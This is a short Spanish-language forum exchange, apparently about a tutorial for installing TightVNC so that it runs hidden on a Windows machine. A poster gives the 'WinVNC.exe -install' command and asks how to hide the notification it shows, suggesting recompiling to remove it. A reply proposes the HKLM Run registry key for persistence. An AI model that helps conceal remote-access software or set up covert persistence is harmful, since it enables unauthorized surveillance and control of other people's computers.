Hola **redxs** esa clave que muestras esta mal el otro dia estyube observando unos cuantos errores en el tutorial poer no puedo modificarlo por cuestionmes de tiempo con la facultad.
El problema es que estuve observando y no arranca como servicio pero con esta opcion

q trae el Tightvnc **WinVNC.exe" -install**, el servicio queda instalado el problema es q le tira un hermoso cartel q te avisa..por lo tanto esa opcion no se como camuflarla despues voy a ver si logro..
Si alguien tiene alguna idea de como poder hacer que diga asi vamos perfeccionando las cosas..Quizas compilarlo al codigo y sacarle ese cartel..
S2

Y si agregas el WinVNC.exe al *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run* funcionará?